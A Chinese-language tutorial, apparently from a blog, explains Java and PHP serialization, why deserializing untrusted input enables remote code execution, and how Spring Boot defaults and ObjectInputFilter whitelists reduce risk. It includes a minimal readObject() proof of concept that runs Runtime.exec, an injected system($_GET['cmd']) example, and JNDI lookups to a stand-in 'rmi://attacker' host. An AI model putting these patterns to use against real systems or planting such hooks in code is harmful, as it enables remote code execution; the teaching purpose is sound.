一、核心定义
序列化(Serialization)
-
序列化是指将内存中对象的完整状态(包括字段值、类型元数据、继承关系、甚至嵌套对象图)转换为一种可持久化或可传输的线性格式的过程。
-
其核心目标有三:
- 持久化:将对象存入文件、数据库或分布式缓存(如 Redis);
- 传输:通过网络(HTTP、RPC、消息队列)在进程间、服务间、语言间传递对象;
- 重建:为后续反序列化提供完整上下文,确保对象能“原样复活”。
-
常见序列化格式按性质可分为两类:
-
二进制格式
- JDK 原生序列化(
ObjectOutputStream):保留最完整的 JVM 对象语义,但强绑定 Java 版本; - Protobuf(Google):高效、跨语言、Schema 驱动,适合微服务通信;
- MsgPack / igbinary:紧凑二进制,性能优于 JSON,常用于高性能中间件或 PHP 扩展。
- JDK 原生序列化(
-
文本格式
- JSON:当前 Web 层事实标准,轻量、可读、易调试;
- XML:历史系统与配置文件常用,冗余高但语义明确;
- YAML:强调可读性,广泛用于 Kubernetes、Ansible 等配置场景。
-
-
类比理解:
- 序列化 = 将活体生物冷冻成标本(保留形态与结构);
- 反序列化 = 解冻并唤醒该生物(不仅恢复外形,还可能触发其生理反应)。
反序列化(Deserialization)
-
反序列化是序列化的逆过程:将线性数据流还原为运行时的对象实例,并重新激活其行为逻辑(如构造函数、初始化方法、资源分配等)。
-
关键风险在于:
- 它不只是“填充值”,而是执行对象的“复活协议”。例如:
- Java 中若类定义了
private void readObject(ObjectInputStream),JVM 会在反序列化时自动调用它; - PHP 中若对象存在
__wakeup()方法,unserialize()会立即触发; - 这些“钩子方法”若未校验输入或含危险操作(如
Runtime.exec()、eval()),即可被攻击者利用达成远程代码执行(RCE)。
二、语言级实现机制详解
PHP 的序列化路径
PHP 提供多条序列化通道,安全性差异极大:
1. 原生 serialize() / unserialize()
- 功能强大:完整保存对象类名、私有属性、继承链、甚至闭包(PHP 7+ 有限支持);
- 风险极高:
unserialize($user_input)是经典 RCE 入口,原因如下:- 自动调用
__wakeup()(对象恢复时)、__destruct()(销毁前)、__toString()(转字符串时); - 攻击者可构造恶意对象链,使这些魔术方法执行任意 PHP 代码(如
system($_GET['cmd'])); - 即使类无显式定义这些方法,某些第三方库(如
Monolog、Symfony组件)的类可能隐含可利用点。
- 自动调用
实践警示:任何接收用户输入并传给
unserialize()的代码,均应视为高危漏洞。
2. JSON 路径:json_encode() / json_decode()
- 仅处理标量、数组、对象(转换为关联数组);
- 不保留类信息,不触发任何魔术方法;
- 安全边界清晰:输出为纯文本,需显式
new ClassName(...)构造对象; - 推荐作为 Web API、前后端交互、配置存储的默认选择
3. 其他方案
var_export()+eval():本质是动态执行代码,绝对禁止用于不可信输入;igbinary/msgpack:高性能二进制替代,但若用于反序列化外部数据,仍需配合白名单校验(因仍支持对象重建与魔术方法调用)。
总结:在 PHP 中,唯一推荐的反序列化方式是
json_decode($input, true)+ 严格类型校验 + 白名单过滤;其余路径必须置于沙箱或禁用。
Java 的序列化机制深度解析
Java 的序列化由 JVM 规范强制支持,核心围绕 Serializable 接口展开:
标记接口:Serializable
- 无方法,仅为编译期标记;
- 若类未实现 →
ObjectOutputStream.writeObject()抛出NotSerializableException; - 子类继承父类的
Serializable标记,但若父类未实现,则需显式声明。
序列化入口:ObjectOutputStream.writeObject()
- 支持对象图(含循环引用、数组、集合);
- 输出包含:类描述符、字段名/类型、字段值、父类信息等;
- 体积大、可读性差,但语义完整
反序列化入口:ObjectInputStream.readObject()
这是整个风险链的起点。其内部执行流程如下:
- 读取流头标识(如
0x73表示普通对象); - 解析类描述符(
readClassDesc()); - 判断类是否实现
Externalizable:- 是 → 调用
readExternal(); - 否 → 进入默认流程
readSerialData();
- 是 → 调用
- 在
readSerialData()中:- 检查是否存在
private void readObject(ObjectInputStream in)方法; - 若存在 → 强制调用该方法(即使为空);
- 若不存在 → 执行
defaultReadObject()(逐字段赋值)。
- 检查是否存在
关键结论:只要类中声明了
readObject(),反序列化时必被执行——这是 gadget chain 的标准起始点。
辅助机制
transient字段:标记后不参与序列化(常用于密码、连接池、ThreadLocal 变量);static字段:属于类而非实例,永不序列化;- 自定义反序列化逻辑:通过重写
readObject()插入校验、懒加载、资源初始化等逻辑——但也是漏洞温床。
示例 PoC 分析
public class Person implements Serializable {
private String name;
private int age;
// 此方法将在反序列化时自动触发!
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("open *a Calculator.app"); // macOS 弹计算器
}
}
- 该类合法实现
Serializable; readObject()为私有、无参、异常声明合规;- 在测试中:序列化 → 写文件 → 反序列化 → 计算器弹出;
- 本质是 JVM 的“对象复活仪式”被恶意篡改。
此 PoC 是教学级最小漏洞模型;真实攻击中会结合反射、动态代理、JNDI 注入等构建隐蔽链。
三、漏洞成因与利用模型
根本原因
将不可信输入(如 HTTP 参数、消息体、文件上传)直接送入反序列化函数,且未施加任何类型白名单、输入过滤或沙箱隔离。
这相当于:把陌生人给的“复活咒语”直接念出来——而 JVM/PHP 会认真执行它。
典型攻击链(Java)
- 攻击者使用
ysoserial等工具生成 payload(如 CC1、URLDNS、ROME); - 服务端调用
ObjectInputStream.readObject(userInput); - 触发 gadget chain:
ChainedTransformer→InvokerTransformer→Method.invoke()- 最终调用
Runtime.getRuntime().exec(command)
- 实现 RCE、写 shell、内网扫描、凭证窃取等。
隐蔽入口远不止 readObject()
现代攻击已扩展至多个“等价反序列化”场景:
- RMI / JNDI Lookup:
Naming.lookup("rmi://attacker/exploit")→ RMI Stub 反序列化恶意对象(Log4j2 CVE202144228 根源); - 自定义协议解析:物联网设备上报包中混入
ObjectInputStream流; - 第三方库隐式调用:如
Apache Commons Configuration加载 XML 时通过Class.forName().newInstance()间接触发反序列化; - Agent 通信:APM 工具通过 socket 发送序列化状态对象,被构造 payload 利用。
攻击范式已从“显式反序列化”转向“链式利用”:
HTTP 参数 → JNDI → RMI → ObjectInputStream → Gadget Chain
问题(一)
在 Spring Boot + MyBatis 开发中,我从未手动使用
ObjectOutputStream、Serializable、readObject()—— 为什么?
答案:因为站在了现代工程实践的“安全默认路径”上
- Spring Boot 及其生态主动规避了 JDK 原生序列化的三大缺陷:
缺陷 1:强 JVM 依赖,版本脆弱
- 类结构变更(如字段增删)→ 反序列化失败(
InvalidClassException) - Spring 方案:默认使用 Jackson 将 POJO ↔ JSON,无类签名绑定, 跨语言兼容性强。
缺陷 2:高危安全风险
readObject()是天然后门,极易被 gadget 链利用- Spring 方案:
- Web 层:
@RestController+@ResponseBody→ 自动 JSON 序列化; - 缓存层:
RedisTemplate默认使用Jackson2JsonRedisSerializer(非JdkSerializationRedisSerializer); - 消息层:Kafka/RabbitMQ 使用
StringJsonMessageConverter或 Protobuf; - RPC 层:Dubbo 3+ 默认
hessian2或protobuf;Feign 用 JSON。
- Web 层:
缺陷 3:性能与体积劣势
- JDK 序列化体积大(含冗余元数据)、速度慢
- Spring 方案:Jackson / Kryo / Protobuf 在吞吐与延迟上普遍优于原生方案 3–10 倍
实际用到的“序列化”是:
@RequestBody Person p→ Jackson 将 JSON → Java 对象- MyBatis 的
ResultMap是关系映射(SQL 结果集 → Bean),非对象序列化 - Redis 中存储的是
{"id":1,"name":"Alice"}字符串,而非二进制对象流
所以:没写
ObjectOutputStream,不是遗漏,而是框架做了更安全、更高效的选择
何时需关注 Serializable?
仅限特殊场景(非日常):
HttpSession存自定义对象(集群环境要求可序列化)- 维护老系统(如 Dubbo 2.x +
serialization=java) - 配置
JdkSerializationRedisSerializer(强烈不推荐) - 安全审计 / 渗透测试(需理解原理)
优先掌握的替代技能:
- Jackson 注解(
@JsonProperty,@JsonInclude,@JsonIgnore) - Fastjson 安全配置(禁用
autoType) - Redis 序列化策略选型(Jackson > String > JDK)
- Protobuf Schema 设计与编解码
问题(二)
既然 JDK 反序列化已过时,为何仍有大量 CVE?
核心真相:技术淘汰 ≠ 系统退役;规范推荐 ≠ 实践落地
下面从五个维度解释这一现象:
一、现实:海量存量系统仍在运行 JDK 序列化
根据 NVD 与 Snyk 2023–2025 年统计:
- 2023 年:47+ 个 Java CVE 涉及反序列化,影响组件包括 Apache Dubbo、JBoss、WebLogic、Jenkins、Log4j(JNDI 间接链);
- 2024 年:39+ 个,新增 Spring RMI、Redisson 老版、Elasticsearch 插件;
- 2025 Q1:12+ 个,集中于金融/政务定制中间件与遗留系统。
为什么还在用?
- 遗留系统无法重构:银行核心交易系统、电力调度平台运行超 10 年,依赖 RMI/JNDI + JDK 序列化;
- 中间件默认配置危险:Dubbo 2.7.x 若误配
serialization=java,即回退至高危模式;Redisson 3.x 若误用SerializationCodec,可导致 RCE; - 开发者认知盲区:新人看到
implements Serializable以为“标准写法”,直接复用,不知readObject()是后门; - 安全防护滞后:企业只扫 Web 层(XSS/SQLi),忽略 RPC/缓存层的反序列化入口(如 Jenkins Remoting)。
关键点:CVE 不是新漏洞,而是旧技术在新攻击面下的暴露
二、攻击面远比想象隐蔽
你以为只有 ObjectInputStream.readObject() 是入口?错!以下均为等价风险点:
- RMI / JNDI 注入:
Naming.lookup("rmi://attacker:1099/Exploit")→ RMI 底层仍用ObjectInputStream; - Agent 通信:JVM Agent 向控制台发送
AgentStatus对象,被构造 payload 触发readObject(); - 自定义协议解析:某 IoT 平台用
DataInputStream.readInt() + readObject()解析设备上报包; - 第三方库隐式调用:
Apache Commons Configuration加载 XML 时调用Class.forName().newInstance(),若类名可控 → 间接触发反序列化。
现代攻击 = 链式利用:
HTTP 参数 → JNDI Lookup → RMI Stub → ObjectInputStream → Gadget Chain
三、防御成本高,导致“知道但不做”
许多团队清楚风险,却因以下原因搁置修复:
- 兼容性恐惧:修改序列化方式 → 所有客户端需同步升级 → 金融/政务系统不敢动;
- 责任归属模糊:“这是中间件问题” vs “这是业务代码问题” → 推诿;
- 测试覆盖不足:单元测试不覆盖反序列化路径;集成测试忽略恶意 payload;
- 缺乏工具链:无自动化扫描(
SerialKiller已停更),ysoserial仅用于验证,非预防。
实例:某头部电商内部调度系统仍用
ObjectInputStream接收 Kafka 消息(本应为 JSON),原因是“历史对接方要求二进制格式”——技术决策常被业务妥协绑架。
四、结构性原因:为何“过时技术”难以根除?
- JVM 层级绑定
Serializable是 JVM 规范强制能力,所有 JDK 版本必须支持- 无法废弃,只能“禁用使用”而非“删除功能”
- 生态惯性
- Quartz、JGroups、Hazelcast 早期版深度依赖它
- 升级成本 > 风险收益 → 选择“打补丁”而非重构
- 安全左移缺失
- DevSecOps 未覆盖“序列化策略审查”环节
- 开发者写
implements Serializable时, IDE 无警告
类比:COBOL 仍在银行核心系统运行——不是因为它好,而是替换成本太高
五、务实建议:作为现代开发者,如何应对?
日常开发自查(5分钟可完成)
# 检查是否意外使用 JDK 序列化
grep *nE "Object(Input|Output)Stream|Serializable" src/main/java/
# 检查危险的 readObject 实现
grep *n "private void readObject" src/main/java/
# 检查 Redis 序列化器(重点!)
# 查找:new JdkSerializationRedisSerializer() 或 setDefaultSerializer(...)
依赖与架构加固
- HTTP 层:禁用 Jackson
enableDefaultTyping();Fastjson 设置autoTypeSupport=false; - 缓存层:强制使用
Jackson2JsonRedisSerializer; - 消息层:Kafka/RabbitMQ 使用 JSON 或 Protobuf Converter;
- RPC 层:Dubbo 显式指定
serialization=hessian2或protobuf;避免java。
最后一道防线:全局输入过滤(Java 9+)
// 在反序列化前设置白名单过滤器
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.yourpackage.*;java.util.*;java.lang.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // ⚠️ 必须在 readObject() 前调用!
铁律:
“不序列化不可信数据” 比 “如何安全地反序列化” 更重要。
就像你不会把用户输入拼接到 SQL,也不该把用户输入喂给readObject()。
总结
既然过时, 为何还有 CVE?
- 原因:
- 过时 ≠ 消失 —— JVM 仍支持,数百万行遗留代码在跑;
- CVE 是暴露,不是新生 —— 旧洞被新攻击手法激活;
- 人类工程决策滞后于技术演进 —— 业务压力常压倒安全规范。
2、本站永久网址:https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。















暂无评论内容